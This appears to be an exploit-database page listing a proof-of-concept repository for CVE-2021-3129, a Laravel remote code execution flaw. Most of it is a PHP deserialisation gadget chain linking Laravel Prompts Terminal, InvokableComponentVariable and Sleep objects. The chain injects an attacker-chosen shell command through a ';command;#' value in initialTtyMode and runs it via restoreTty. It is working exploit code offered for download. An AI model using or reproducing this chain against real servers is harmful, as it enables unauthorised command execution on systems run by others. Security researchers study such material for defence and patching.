Exploit database

GH-7c3f210736b96137d01066be808bddae

0x0d3ad/cve-2021-3129

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2021-3129

36 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files2
0x0d3ad/cve-2021-3129Revision baf217c497da

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

gadgetchains/Laravel/RCE/19/gadgets.php

PHP · 775 bytes
<?php

namespace Laravel\Prompts {
    class Terminal {
        public $initialTtyMode;

        function __construct($command)
        {
            $this->initialTtyMode = ";".$command.";#";
        }
    }
}

namespace Illuminate\View {
    class InvokableComponentVariable 
    {
        public $callable;

        function __construct($command)
        {
            $this->callable = array(new \Laravel\Prompts\Terminal($command),'restoreTty');
        }
    }
}

namespace Illuminate\Support {
    class Sleep
    {
        public $shouldSleep;
        public $duration;

        function __construct($command)
        {
            $this->shouldSleep = true;
            $this->duration = new \Illuminate\View\InvokableComponentVariable($command);
        }
    }
}